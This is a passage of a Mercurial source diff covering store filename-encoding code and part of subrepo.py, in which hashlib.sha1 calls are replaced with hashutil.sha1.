     'data/foo.i.hg.hg/bla.i'
     >>> _encodedir(b'data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
     'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n'
     '''
     return (
         path.replace(b".hg/", b".hg.hg/")
         .replace(b".i/", b".i.hg/")
         .replace(b".d/", b".d.hg/")
     )
 
 
 encodedir = getattr(parsers, 'encodedir', _encodedir)
 
 
 def decodedir(path):
     '''
     >>> decodedir(b'data/foo.i')
     'data/foo.i'
     >>> decodedir(b'data/foo.i.hg/bla.i')
     'data/foo.i/bla.i'
     >>> decodedir(b'data/foo.i.hg.hg/bla.i')
     'data/foo.i.hg/bla.i'
     '''
     if b".hg/" not in path:
         return path
     return (
         path.replace(b".d.hg/", b".d/")
         .replace(b".i.hg/", b".i/")
         .replace(b".hg.hg/", b".hg/")
     )
 
 
 def _reserved():
     ''' characters that are problematic for filesystems
 
     * ascii escapes (0..31)
     * ascii hi (126..255)
     * windows specials
 
     these characters will be escaped by encodefunctions
     '''
     winreserved = [ord(x) for x in u'\\:*?"<>|']
     for x in range(32):
         yield x
     for x in range(126, 256):
         yield x
     for x in winreserved:
         yield x
 
 
 def _buildencodefun():
     '''
     >>> enc, dec = _buildencodefun()
 
     >>> enc(b'nothing/special.txt')
     'nothing/special.txt'
     >>> dec(b'nothing/special.txt')
     'nothing/special.txt'
 
     >>> enc(b'HELLO')
     '_h_e_l_l_o'
     >>> dec(b'_h_e_l_l_o')
     'HELLO'
 
     >>> enc(b'hello:world?')
     'hello~3aworld~3f'
     >>> dec(b'hello~3aworld~3f')
     'hello:world?'
 
     >>> enc(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     >>> dec(b'the~07quick~adshot')
     'the\\x07quick\\xadshot'
     '''
     e = b'_'
     xchr = pycompat.bytechr
     asciistr = list(map(xchr, range(127)))
     capitals = list(range(ord(b"A"), ord(b"Z") + 1))
 
     cmap = dict((x, x) for x in asciistr)
     for x in _reserved():
         cmap[xchr(x)] = b"~%02x" % x
     for x in capitals + [ord(e)]:
         cmap[xchr(x)] = e + xchr(x).lower()
 
     dmap = {}
     for k, v in pycompat.iteritems(cmap):
         dmap[v] = k
 
     def decode(s):
         i = 0
         while i < len(s):
             for l in pycompat.xrange(1, 4):
                 try:
                     yield dmap[s[i : i + l]]
                     i += l
                     break
                 except KeyError:
                     pass
             else:
                 raise KeyError
 
     return (
         lambda s: b''.join(
             [cmap[s[c : c + 1]] for c in pycompat.xrange(len(s))]
         ),
         lambda s: b''.join(list(decode(s))),
     )
 
 
 _encodefname, _decodefname = _buildencodefun()
 
 
 def encodefilename(s):
     '''
     >>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
     'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
     '''
     return _encodefname(encodedir(s))
 
 
 def decodefilename(s):
     '''
     >>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
     'foo.i/bar.d/bla.hg/hi:world?/HELLO'
     '''
     return decodedir(_decodefname(s))
 
 
 def _buildlowerencodefun():
     '''
     >>> f = _buildlowerencodefun()
     >>> f(b'nothing/special.txt')
     'nothing/special.txt'
     >>> f(b'HELLO')
     'hello'
     >>> f(b'hello:world?')
     'hello~3aworld~3f'
     >>> f(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     '''
     xchr = pycompat.bytechr
     cmap = dict([(xchr(x), xchr(x)) for x in pycompat.xrange(127)])
     for x in _reserved():
         cmap[xchr(x)] = b"~%02x" % x
     for x in range(ord(b"A"), ord(b"Z") + 1):
         cmap[xchr(x)] = xchr(x).lower()
 
     def lowerencode(s):
         return b"".join([cmap[c] for c in pycompat.iterbytestr(s)])
 
     return lowerencode
 
 
 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
 
 # Windows reserved names: con, prn, aux, nul, com1..com9, lpt1..lpt9
 _winres3 = (b'aux', b'con', b'prn', b'nul')  # length 3
 _winres4 = (b'com', b'lpt')  # length 4 (with trailing 1..9)
 
 
 def _auxencode(path, dotencode):
     '''
     Encodes filenames containing names reserved by Windows or which end in
     period or space. Does not touch other single reserved characters c.
     Specifically, c in '\\:*?"<>|' or ord(c) <= 31 are *not* encoded here.
     Additionally encodes space or period at the beginning, if dotencode is
     True. Parameter path is assumed to be all lowercase.
     A segment only needs encoding if a reserved name appears as a
     basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
     doesn't need encoding.
 
     >>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
     >>> _auxencode(s.split(b'/'), True)
     ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
     >>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
     >>> _auxencode(s.split(b'/'), False)
     ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
     >>> _auxencode([b'foo. '], True)
     ['foo.~20']
     >>> _auxencode([b' .foo'], True)
     ['~20.foo']
     '''
     for i, n in enumerate(path):
         if not n:
             continue
         if dotencode and n[0] in b'. ':
             n = b"~%02x" % ord(n[0:1]) + n[1:]
             path[i] = n
         else:
             l = n.find(b'.')
             if l == -1:
                 l = len(n)
             if (l == 3 and n[:3] in _winres3) or (
                 l == 4
                 and n[3:4] <= b'9'
                 and n[3:4] >= b'1'
                 and n[:3] in _winres4
             ):
                 # encode third letter ('aux' -> 'au~78')
                 ec = b"~%02x" % ord(n[2:3])
                 n = n[0:2] + ec + n[3:]
                 path[i] = n
         if n[-1] in b'. ':
             # encode last period or space ('foo...' -> 'foo..~2e')
             path[i] = n[:-1] + b"~%02x" % ord(n[-1:])
     return path
 
 
 _maxstorepathlen = 120
 _dirprefixlen = 8
 _maxshortdirslen = 8 * (_dirprefixlen + 1) - 4
 
 
 def _hashencode(path, dotencode):
-    digest = node.hex(hashlib.sha1(path).digest())
+    digest = node.hex(hashutil.sha1(path).digest())
     le = lowerencode(path[5:]).split(b'/')  # skips prefix 'data/' or 'meta/'
     parts = _auxencode(le, dotencode)
     basename = parts[-1]
     _root, ext = os.path.splitext(basename)
     sdirs = []
     sdirslen = 0
     for p in parts[:-1]:
         d = p[:_dirprefixlen]
         if d[-1] in b'. ':
             # Windows can't access dirs ending in period or space
             d = d[:-1] + b'_'
         if sdirslen == 0:
             t = len(d)
         else:
             t = sdirslen + 1 + len(d)
             if t > _maxshortdirslen:
                 break
         sdirs.append(d)
         sdirslen = t
     dirs = b'/'.join(sdirs)
     if len(dirs) > 0:
         dirs += b'/'
     res = b'dh/' + dirs + digest + ext
     spaceleft = _maxstorepathlen - len(res)
     if spaceleft > 0:
         filler = basename[:spaceleft]
         res = b'dh/' + dirs + filler + digest + ext
     return res
 
 
 def _hybridencode(path, dotencode):
     '''encodes path with a length limit
 
     Encodes all paths that begin with 'data/', according to the following.
 
     Default encoding (reversible):
 
     Encodes all uppercase letters 'X' as '_x'. All reserved or illegal
     characters are encoded as '~xx', where xx is the two digit hex code
     of the character (see encodefilename).
     Relevant path components consisting of Windows reserved filenames are
     masked by encoding the third character ('aux' -> 'au~78', see _auxencode).
 
     Hashed encoding (not reversible):
 
     If the default-encoded path is longer than _maxstorepathlen, a
     non-reversible hybrid hashing of the path is done instead.
     This encoding uses up to _dirprefixlen characters of all directory
     levels of the lowerencoded path, but not more levels than can fit into
     _maxshortdirslen.
     Then follows the filler followed by the sha digest of the full path.
     The filler is the beginning of the basename of the lowerencoded path
     (the basename is everything after the last path separator). The filler
     is as long as possible, filling in characters from the basename until
     the encoded path has _maxstorepathlen characters (or all chars of the
     basename have been taken).
     The extension (e.g. '.i' or '.d') is preserved.
 
     The string 'data/' at the beginning is replaced with 'dh/', if the hashed
     encoding was used.
     '''
     path = encodedir(path)
     ef = _encodefname(path).split(b'/')
     res = b'/'.join(_auxencode(ef, dotencode))
     if len(res) > _maxstorepathlen:
         res = _hashencode(path, dotencode)
     return res
 
 
 def _pathencode(path):
     de = encodedir(path)
     if len(path) > _maxstorepathlen:
         return _hashencode(de, True)
     ef = _encodefname(de).split(b'/')
     res = b'/'.join(_auxencode(ef, True))
     if len(res) > _maxstorepathlen:
         return _hashencode(de, True)
     return res
 
 
 _pathencode = getattr(parsers, 'pathencode', _pathencode)
 
 
 def _plainhybridencode(f):
     return _hybridencode(f, False)
 
 
 def _calcmode(vfs):
     try:
         # files in .hg/ will be created using this mode
         mode = vfs.stat().st_mode
         # avoid some useless chmods
         if (0o777 & ~util.umask) == (0o777 & mode):
             mode = None
     except OSError:
         mode = None
     return mode
 
 
 _data = (
     b'bookmarks narrowspec data meta 00manifest.d 00manifest.i'
     b' 00changelog.d 00changelog.i phaseroots obsstore'
 )
 
 
 def isrevlog(f, kind, st):
     return kind == stat.S_IFREG and f[-2:] in (b'.i', b'.d')
 
 
 class basicstore(object):
     '''base class for local repository stores'''
 
     def __init__(self, path, vfstype):
         vfs = vfstype(path)
         self.path = vfs.base
         self.createmode = _calcmode(vfs)
         vfs.createmode = self.createmode
         self.rawvfs = vfs
         self.vfs = vfsmod.filtervfs(vfs, encodedir)
         self.opener = self.vfs
 
     def join(self, f):
         return self.path + b'/' + encodedir(f)
 
     def _walk(self, relpath, recurse, filefilter=isrevlog):
         '''yields (unencoded, encoded, size)'''
         path = self.path
         if relpath:
             path += b'/' + relpath
         striplen = len(self.path) + 1
         l = []
         if self.rawvfs.isdir(path):
             visit = [path]
             readdir = self.rawvfs.readdir
             while visit:
                 p = visit.pop()
                 for f, kind, st in readdir(p, stat=True):
                     fp = p + b'/' + f
                     if filefilter(f, kind, st):
                         n = util.pconvert(fp[striplen:])
                         l.append((decodedir(n), n, st.st_size))
                     elif kind == stat.S_IFDIR and recurse:
                         visit.append(fp)
         l.sort()
         return l
 
     def changelog(self, trypending):
         return changelog.changelog(self.vfs, trypending=trypending)
 
     def manifestlog(self, repo, storenarrowmatch):
         rootstore = manifest.manifestrevlog(self.vfs)
         return manifest.manifestlog(self.vfs, repo, rootstore, storenarrowmatch)
 
     def datafiles(self, matcher=None):
         return self._walk(b'data', True) + self._walk(b'meta', True)
 
     def topfiles(self):
         # yield manifest before changelog
         return reversed(self._walk(b'', False))
 
     def walk(self, matcher=None):
         '''yields (unencoded, encoded, size)
 
         if a matcher is passed, storage files of only those tracked paths
         are passed with matches the matcher
         '''
         # yield data files first
         for x in self.datafiles(matcher):
             yield x
         for x in self.topfiles():
             yield x
 
     def copylist(self):
         return [b'requires'] + _data.split()
 
     def write(self, tr):
         pass
 
     def invalidatecaches(self):
         pass
 
     def markremoved(self, fn):
         pass
 
     def __contains__(self, path):
         '''Checks if the store contains path'''
         path = b"/".join((b"data", path))
         # file?
         if self.vfs.exists(path + b".i"):
             return True
         # dir?
         if not path.endswith(b"/"):
             path = path + b"/"
         return self.vfs.exists(path)
 
 
 class encodedstore(basicstore):
     def __init__(self, path, vfstype):
         vfs = vfstype(path + b'/store')
         self.path = vfs.base
         self.createmode = _calcmode(vfs)
         vfs.createmode = self.createmode
         self.rawvfs = vfs
         self.vfs = vfsmod.filtervfs(vfs, encodefilename)
         self.opener = self.vfs
 
     def datafiles(self, matcher=None):
         for a, b, size in super(encodedstore, self).datafiles():
             try:
                 a = decodefilename(a)
             except KeyError:
                 a = None
             if a is not None and not _matchtrackedpath(a, matcher):
                 continue
             yield a, b, size
 
     def join(self, f):
         return self.path + b'/' + encodefilename(f)
 
     def copylist(self):
         return [b'requires', b'00changelog.i'] + [
             b'store/' + f for f in _data.split()
         ]
 
 
 class fncache(object):
     # the filename used to be partially encoded
     # hence the encodedir/decodedir dance
     def __init__(self, vfs):
         self.vfs = vfs
         self.entries = None
         self._dirty = False
         # set of new additions to fncache
         self.addls = set()
 
     def ensureloaded(self, warn=None):
         '''read the fncache file if not already read.
 
         If the file on disk is corrupted, raise. If warn is provided,
         warn and keep going instead.'''
         if self.entries is None:
             self._load(warn)
 
     def _load(self, warn=None):
         '''fill the entries from the fncache file'''
         self._dirty = False
         try:
             fp = self.vfs(b'fncache', mode=b'rb')
         except IOError:
             # skip nonexistent file
             self.entries = set()
             return
 
         self.entries = set()
         chunk = b''
         for c in iter(functools.partial(fp.read, fncache_chunksize), b''):
             chunk += c
             try:
                 p = chunk.rindex(b'\n')
                 self.entries.update(decodedir(chunk[: p + 1]).splitlines())
                 chunk = chunk[p + 1 :]
             except ValueError:
                 # substring '\n' not found, maybe the entry is bigger than the
                 # chunksize, so let's keep iterating
                 pass
 
         if chunk:
             msg = _(b"fncache does not ends with a newline")
             if warn:
                 warn(msg + b'\n')
             else:
                 raise error.Abort(
                     msg,
                     hint=_(
                         b"use 'hg debugrebuildfncache' to "
                         b"rebuild the fncache"
                     ),
                 )
         self._checkentries(fp, warn)
         fp.close()
 
     def _checkentries(self, fp, warn):
         """ make sure there is no empty string in entries """
         if b'' in self.entries:
             fp.seek(0)
             for n, line in enumerate(util.iterfile(fp)):
                 if not line.rstrip(b'\n'):
                     t = _(b'invalid entry in fncache, line %d') % (n + 1)
                     if warn:
                         warn(t + b'\n')
                     else:
                         raise error.Abort(t)
 
     def write(self, tr):
         if self._dirty:
             assert self.entries is not None
             self.entries = self.entries | self.addls
             self.addls = set()
             tr.addbackup(b'fncache')
             fp = self.vfs(b'fncache', mode=b'wb', atomictemp=True)
             if self.entries:
                 fp.write(encodedir(b'\n'.join(self.entries) + b'\n'))
             fp.close()
             self._dirty = False
         if self.addls:
             # if we have just new entries, let's append them to the fncache
             tr.addbackup(b'fncache')
             fp = self.vfs(b'fncache', mode=b'ab', atomictemp=True)
             if self.addls:
                 fp.write(encodedir(b'\n'.join(self.addls) + b'\n'))
             fp.close()
             self.entries = None
             self.addls = set()
 
     def add(self, fn):
         if self.entries is None:
             self._load()
         if fn not in self.entries:
             self.addls.add(fn)
 
     def remove(self, fn):
         if self.entries is None:
             self._load()
         if fn in self.addls:
             self.addls.remove(fn)
             return
         try:
             self.entries.remove(fn)
             self._dirty = True
         except KeyError:
             pass
 
     def __contains__(self, fn):
         if fn in self.addls:
             return True
         if self.entries is None:
             self._load()
         return fn in self.entries
 
     def __iter__(self):
         if self.entries is None:
             self._load()
         return iter(self.entries | self.addls)
 
 
 class _fncachevfs(vfsmod.proxyvfs):
     def __init__(self, vfs, fnc, encode):
         vfsmod.proxyvfs.__init__(self, vfs)
         self.fncache = fnc
         self.encode = encode
 
     def __call__(self, path, mode=b'r', *args, **kw):
         encoded = self.encode(path)
         if mode not in (b'r', b'rb') and (
             path.startswith(b'data/') or path.startswith(b'meta/')
         ):
             # do not trigger a fncache load when adding a file that already is
             # known to exist.
             notload = self.fncache.entries is None and self.vfs.exists(encoded)
             if notload and b'a' in mode and not self.vfs.stat(encoded).st_size:
                 # when appending to an existing file, if the file has size zero,
                 # it should be considered as missing. Such zero-size files are
                 # the result of truncation when a transaction is aborted.
                 notload = False
             if not notload:
                 self.fncache.add(path)
         return self.vfs(encoded, mode, *args, **kw)
 
     def join(self, path):
         if path:
             return self.vfs.join(self.encode(path))
         else:
             return self.vfs.join(path)
 
 
 class fncachestore(basicstore):
     def __init__(self, path, vfstype, dotencode):
         if dotencode:
             encode = _pathencode
         else:
             encode = _plainhybridencode
         self.encode = encode
         vfs = vfstype(path + b'/store')
         self.path = vfs.base
         self.pathsep = self.path + b'/'
         self.createmode = _calcmode(vfs)
         vfs.createmode = self.createmode
         self.rawvfs = vfs
         fnc = fncache(vfs)
         self.fncache = fnc
         self.vfs = _fncachevfs(vfs, fnc, encode)
         self.opener = self.vfs
 
     def join(self, f):
         return self.pathsep + self.encode(f)
 
     def getsize(self, path):
         return self.rawvfs.stat(path).st_size
 
     def datafiles(self, matcher=None):
         for f in sorted(self.fncache):
             if not _matchtrackedpath(f, matcher):
                 continue
             ef = self.encode(f)
             try:
                 yield f, ef, self.getsize(ef)
             except OSError as err:
                 if err.errno != errno.ENOENT:
                     raise
 
     def copylist(self):
         d = (
             b'bookmarks narrowspec data meta dh fncache phaseroots obsstore'
             b' 00manifest.d 00manifest.i 00changelog.d 00changelog.i'
         )
         return [b'requires', b'00changelog.i'] + [
             b'store/' + f for f in d.split()
         ]
 
     def write(self, tr):
         self.fncache.write(tr)
 
     def invalidatecaches(self):
         self.fncache.entries = None
         self.fncache.addls = set()
 
     def markremoved(self, fn):
         self.fncache.remove(fn)
 
     def _exists(self, f):
         ef = self.encode(f)
         try:
             self.getsize(ef)
             return True
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             # nonexistent entry
             return False
 
     def __contains__(self, path):
         '''Checks if the store contains path'''
         path = b"/".join((b"data", path))
         # check for files (exact match)
         e = path + b'.i'
         if e in self.fncache and self._exists(e):
             return True
         # now check for directories (prefix match)
         if not path.endswith(b'/'):
             path += b'/'
         for e in self.fncache:
             if e.startswith(path) and self._exists(e):
                 return True
         return False

mercurial/subrepo.py

@@ -1,2052 +1,2052
 # subrepo.py - sub-repository classes and factory
 #
 # Copyright 2009-2010 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import copy
 import errno
-import hashlib
 import os
 import re
 import stat
 import subprocess
 import sys
 import tarfile
 import xml.dom.minidom
 
 from .i18n import _
 from . import (
     cmdutil,
     encoding,
     error,
     exchange,
     logcmdutil,
     match as matchmod,
     node,
     pathutil,
     phases,
     pycompat,
     scmutil,
     subrepoutil,
     util,
     vfs as vfsmod,
 )
 from .utils import (
     dateutil,
+    hashutil,
     procutil,
     stringutil,
 )
 
 hg = None
 reporelpath = subrepoutil.reporelpath
 subrelpath = subrepoutil.subrelpath
 _abssource = subrepoutil._abssource
 propertycache = util.propertycache
 
 
 def _expandedabspath(path):
     '''
     get a path or url and if it is a path expand it and return an absolute path
     '''
     expandedpath = util.urllocalpath(util.expandpath(path))
     u = util.url(expandedpath)
     if not u.scheme:
         path = util.normpath(os.path.abspath(u.path))
     return path
 
 
 def _getstorehashcachename(remotepath):
     '''get a unique filename for the store hash cache of a remote repository'''
-    return node.hex(hashlib.sha1(_expandedabspath(remotepath)).digest())[0:12]
+    return node.hex(hashutil.sha1(_expandedabspath(remotepath)).digest())[0:12]
 
 
 class SubrepoAbort(error.Abort):
     """Exception class used to avoid handling a subrepo error more than once"""
 
     def __init__(self, *args, **kw):
         self.subrepo = kw.pop('subrepo', None)
         self.cause = kw.pop('cause', None)
         error.Abort.__init__(self, *args, **kw)
 
 
 def annotatesubrepoerror(func):
     def decoratedmethod(self, *args, **kargs):
         try:
             res = func(self, *args, **kargs)
         except SubrepoAbort as ex:
             # This exception has already been handled
             raise ex
         except error.Abort as ex:
             subrepo = subrelpath(self)
             errormsg = (
                 stringutil.forcebytestr(ex)
                 + b' '
                 + _(b'(in subrepository "%s")') % subrepo
             )
             # avoid handling this exception by raising a SubrepoAbort exception
             raise SubrepoAbort(
                 errormsg, hint=ex.hint, subrepo=subrepo, cause=sys.exc_info()
             )
         return res
 
     return decoratedmethod
 
 
 def _updateprompt(ui, sub, dirty, local, remote):
     if dirty:
         msg = _(
             b' subrepository sources for %s differ\n'
             b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
             b'what do you want to do?'
             b'$$ &Local $$ &Remote'
         ) % (subrelpath(sub), local, remote)
     else:
         msg = _(
             b' subrepository sources for %s differ (in checked out '
             b'version)\n'
             b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
             b'what do you want to do?'
             b'$$ &Local $$ &Remote'
         ) % (subrelpath(sub), local, remote)
     return ui.promptchoice(msg, 0)
 
 
 def _sanitize(ui, vfs, ignore):
     for dirname, dirs, names in vfs.walk():
         for i, d in enumerate(dirs):
             if d.lower() == ignore:
                 del dirs[i]
                 break
         if vfs.basename(dirname).lower() != b'.hg':
             continue
         for f in names:
             if f.lower() == b'hgrc':
                 ui.warn(
                     _(
                         b"warning: removing potentially hostile 'hgrc' "
                         b"in '%s'\n"
                     )
                     % vfs.join(dirname)
                 )
                 vfs.unlink(vfs.reljoin(dirname, f))
 
 
 def _auditsubrepopath(repo, path):
     # sanity check for potentially unsafe paths such as '~' and '$FOO'
     if path.startswith(b'~') or b'$' in path or util.expandpath(path) != path:
         raise error.Abort(
             _(b'subrepo path contains illegal component: %s') % path
         )
     # auditor doesn't check if the path itself is a symlink
     pathutil.pathauditor(repo.root)(path)
     if repo.wvfs.islink(path):
         raise error.Abort(_(b"subrepo '%s' traverses symbolic link") % path)
 
 
 SUBREPO_ALLOWED_DEFAULTS = {
     b'hg': True,
     b'git': False,
     b'svn': False,
 }
 
 
 def _checktype(ui, kind):
     # subrepos.allowed is a master kill switch. If disabled, subrepos are
     # disabled period.
     if not ui.configbool(b'subrepos', b'allowed', True):
         raise error.Abort(
             _(b'subrepos not enabled'),
             hint=_(b"see 'hg help config.subrepos' for details"),
         )
 
     default = SUBREPO_ALLOWED_DEFAULTS.get(kind, False)
     if not ui.configbool(b'subrepos', b'%s:allowed' % kind, default):
         raise error.Abort(
             _(b'%s subrepos not allowed') % kind,
             hint=_(b"see 'hg help config.subrepos' for details"),
         )
 
     if kind not in types:
         raise error.Abort(_(b'unknown subrepo type %s') % kind)
 
 
 def subrepo(ctx, path, allowwdir=False, allowcreate=True):
     """return instance of the right subrepo class for subrepo in path"""
     # subrepo inherently violates our import layering rules
     # because it wants to make repo objects from deep inside the stack
     # so we manually delay the circular imports to not break
     # scripts that don't use our demand-loading
     global hg
     from . import hg as h
 
     hg = h
 
     repo = ctx.repo()
     _auditsubrepopath(repo, path)
     state = ctx.substate[path]
     _checktype(repo.ui, state[2])
     if allowwdir:
         state = (state[0], ctx.subrev(path), state[2])
     return types[state[2]](ctx, path, state[:2], allowcreate)
 
 
 def nullsubrepo(ctx, path, pctx):
     """return an empty subrepo in pctx for the extant subrepo in ctx"""
     # subrepo inherently violates our import layering rules
     # because it wants to make repo objects from deep inside the stack
     # so we manually delay the circular imports to not break
     # scripts that don't use our demand-loading
     global hg
     from . import hg as h
 
     hg = h
 
     repo = ctx.repo()
     _auditsubrepopath(repo, path)
     state = ctx.substate[path]
     _checktype(repo.ui, state[2])
     subrev = b''
     if state[2] == b'hg':
         subrev = b"0" * 40
     return types[state[2]](pctx, path, (state[0], subrev), True)
 
 
 # subrepo classes need to implement the following abstract class:
 
 
 class abstractsubrepo(object):
     def __init__(self, ctx, path):
         """Initialize abstractsubrepo part
 
         ``ctx`` is the context referring this subrepository in the
         parent repository.
 
         ``path`` is the path to this subrepository as seen from
         innermost repository.
         """
         self.ui = ctx.repo().ui
         self._ctx = ctx
         self._path = path
 
     def addwebdirpath(self, serverpath, webconf):
         """Add the hgwebdir entries for this subrepo, and any of its subrepos.
 
         ``serverpath`` is the path component of the URL for this repo.
 
         ``webconf`` is the dictionary of hgwebdir entries.
         """
         pass
 
     def storeclean(self, path):
         """
         returns true if the repository has not changed since it was last
         cloned from or pushed to a given repository.
         """
         return False
 
     def dirty(self, ignoreupdate=False, missing=False):
         """returns true if the dirstate of the subrepo is dirty or does not
         match current stored state. If ignoreupdate is true, only check
         whether the subrepo has uncommitted changes in its dirstate.  If missing
         is true, check for deleted files.
         """
         raise NotImplementedError
 
     def dirtyreason(self, ignoreupdate=False, missing=False):
         """return reason string if it is ``dirty()``
 
         Returned string should have enough information for the message
         of exception.
 
         This returns None, otherwise.
         """
         if self.dirty(ignoreupdate=ignoreupdate, missing=missing):
             return _(b'uncommitted changes in subrepository "%s"') % subrelpath(
                 self
             )
 
     def bailifchanged(self, ignoreupdate=False, hint=None):
         """raise Abort if subrepository is ``dirty()``
         """
         dirtyreason = self.dirtyreason(ignoreupdate=ignoreupdate, missing=True)
         if dirtyreason:
             raise error.Abort(dirtyreason, hint=hint)
 
     def basestate(self):
         """current working directory base state, disregarding .hgsubstate
         state and working directory modifications"""
         raise NotImplementedError
 
     def checknested(self, path):
         """check if path is a subrepository within this repository"""
         return False
 
     def commit(self, text, user, date):
         """commit the current changes to the subrepo with the given
         log message. Use given user and date if possible. Return the
         new state of the subrepo.
         """
         raise NotImplementedError
 
     def phase(self, state):
         """returns phase of specified state in the subrepository.
         """
         return phases.public
 
     def remove(self):
         """remove the subrepo
 
         (should verify the dirstate is not dirty first)
         """
         raise NotImplementedError
 
     def get(self, state, overwrite=False):
         """run whatever commands are needed to put the subrepo into
         this state
         """
         raise NotImplementedError
 
     def merge(self, state):
         """merge currently-saved state with the new state."""
         raise NotImplementedError
 
     def push(self, opts):
         """perform whatever action is analogous to 'hg push'
 
         This may be a no-op on some systems.
         """
         raise NotImplementedError
 
     def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
         return []
 
     def addremove(self, matcher, prefix, uipathfn, opts):
         self.ui.warn(b"%s: %s" % (prefix, _(b"addremove is not supported")))
         return 1
 
     def cat(self, match, fm, fntemplate, prefix, **opts):
         return 1
 
     def status(self, rev2, **opts):
         return scmutil.status([], [], [], [], [], [], [])
 
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         pass
 
     def outgoing(self, ui, dest, opts):
         return 1
 
     def incoming(self, ui, source, opts):
         return 1
 
     def files(self):
         """return filename iterator"""
         raise NotImplementedError
 
     def filedata(self, name, decode):
         """return file data, optionally passed through repo decoders"""
         raise NotImplementedError
 
     def fileflags(self, name):
         """return file flags"""
         return b''
 
     def matchfileset(self, cwd, expr, badfn=None):
         """Resolve the fileset expression for this repo"""
         return matchmod.never(badfn=badfn)
 
     def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
         """handle the files command for this subrepo"""
         return 1
 
     def archive(self, archiver, prefix, match=None, decode=True):
         if match is not None:
             files = [f for f in self.files() if match(f)]
         else:
             files = self.files()
         total = len(files)
         relpath = subrelpath(self)
         progress = self.ui.makeprogress(
             _(b'archiving (%s)') % relpath, unit=_(b'files'), total=total
         )
         progress.update(0)
         for name in files:
             flags = self.fileflags(name)
             mode = b'x' in flags and 0o755 or 0o644
             symlink = b'l' in flags
             archiver.addfile(
                 prefix + name, mode, symlink, self.filedata(name, decode)
             )
             progress.increment()
         progress.complete()
         return total
 
     def walk(self, match):
         '''
         walk recursively through the directory tree, finding all files
         matched by the match function
         '''
 
     def forget(self, match, prefix, uipathfn, dryrun, interactive):
         return ([], [])
 
     def removefiles(
         self,
         matcher,
         prefix,
         uipathfn,
         after,
         force,
         subrepos,
         dryrun,
         warnings,
     ):
         """remove the matched files from the subrepository and the filesystem,
         possibly by force and/or after the file has been removed from the
         filesystem.  Return 0 on success, 1 on any warning.
         """
         warnings.append(
             _(b"warning: removefiles not implemented (%s)") % self._path
         )
         return 1
 
     def revert(self, substate, *pats, **opts):
         self.ui.warn(
             _(b'%s: reverting %s subrepos is unsupported\n')
             % (substate[0], substate[2])
         )
         return []
 
     def shortid(self, revid):
         return revid
 
     def unshare(self):
         '''
         convert this repository from shared to normal storage.
         '''
 
     def verify(self, onpush=False):
         """verify the revision of this repository that is held in `_state` is
         present and not hidden.  Return 0 on success or warning, 1 on any
         error.  In the case of ``onpush``, warnings or errors will raise an
         exception if the result of pushing would be a broken remote repository.
         """
         return 0
 
     @propertycache
     def wvfs(self):
         """return vfs to access the working directory of this subrepository
         """
         return vfsmod.vfs(self._ctx.repo().wvfs.join(self._path))
 
     @propertycache
     def _relpath(self):
         """return path to this subrepository as seen from outermost repository
         """
         return self.wvfs.reljoin(reporelpath(self._ctx.repo()), self._path)
 
 
 class hgsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(hgsubrepo, self).__init__(ctx, path)
         self._state = state
         r = ctx.repo()
         root = r.wjoin(util.localpath(path))
         create = allowcreate and not r.wvfs.exists(b'%s/.hg' % path)
         # repository constructor does expand variables in path, which is
         # unsafe since subrepo path might come from untrusted source.
         if os.path.realpath(util.expandpath(root)) != root:
             raise error.Abort(
                 _(b'subrepo path contains illegal component: %s') % path
             )
         self._repo = hg.repository(r.baseui, root, create=create)
         if self._repo.root != root:
             raise error.ProgrammingError(
                 b'failed to reject unsafe subrepo '
                 b'path: %s (expanded to %s)' % (root, self._repo.root)
             )
 
         # Propagate the parent's --hidden option
         if r is r.unfiltered():
             self._repo = self._repo.unfiltered()
 
         self.ui = self._repo.ui
         for s, k in [(b'ui', b'commitsubrepos')]:
             v = r.ui.config(s, k)
             if v:
                 self.ui.setconfig(s, k, v, b'subrepo')
         # internal config: ui._usedassubrepo
         self.ui.setconfig(b'ui', b'_usedassubrepo', b'True', b'subrepo')
         self._initrepo(r, state[0], create)
 
     @annotatesubrepoerror
     def addwebdirpath(self, serverpath, webconf):
         cmdutil.addwebdirpath(self._repo, subrelpath(self), webconf)
 
     def storeclean(self, path):
         with self._repo.lock():
             return self._storeclean(path)
 
     def _storeclean(self, path):
         clean = True
         itercache = self._calcstorehash(path)
         for filehash in self._readstorehashcache(path):
             if filehash != next(itercache, None):
                 clean = False
                 break
         if clean:
             # if not empty:
             # the cached and current pull states have a different size
             clean = next(itercache, None) is None
         return clean
 
     def _calcstorehash(self, remotepath):
         '''calculate a unique "store hash"
 
         This method is used to to detect when there are changes that may
         require a push to a given remote path.'''
         # sort the files that will be hashed in increasing (likely) file size
         filelist = (b'bookmarks', b'store/phaseroots', b'store/00changelog.i')
         yield b'# %s\n' % _expandedabspath(remotepath)
         vfs = self._repo.vfs
         for relname in filelist:
-            filehash = node.hex(hashlib.sha1(vfs.tryread(relname)).digest())
+            filehash = node.hex(hashutil.sha1(vfs.tryread(relname)).digest())
             yield b'%s = %s\n' % (relname, filehash)
 
     @propertycache
     def _cachestorehashvfs(self):
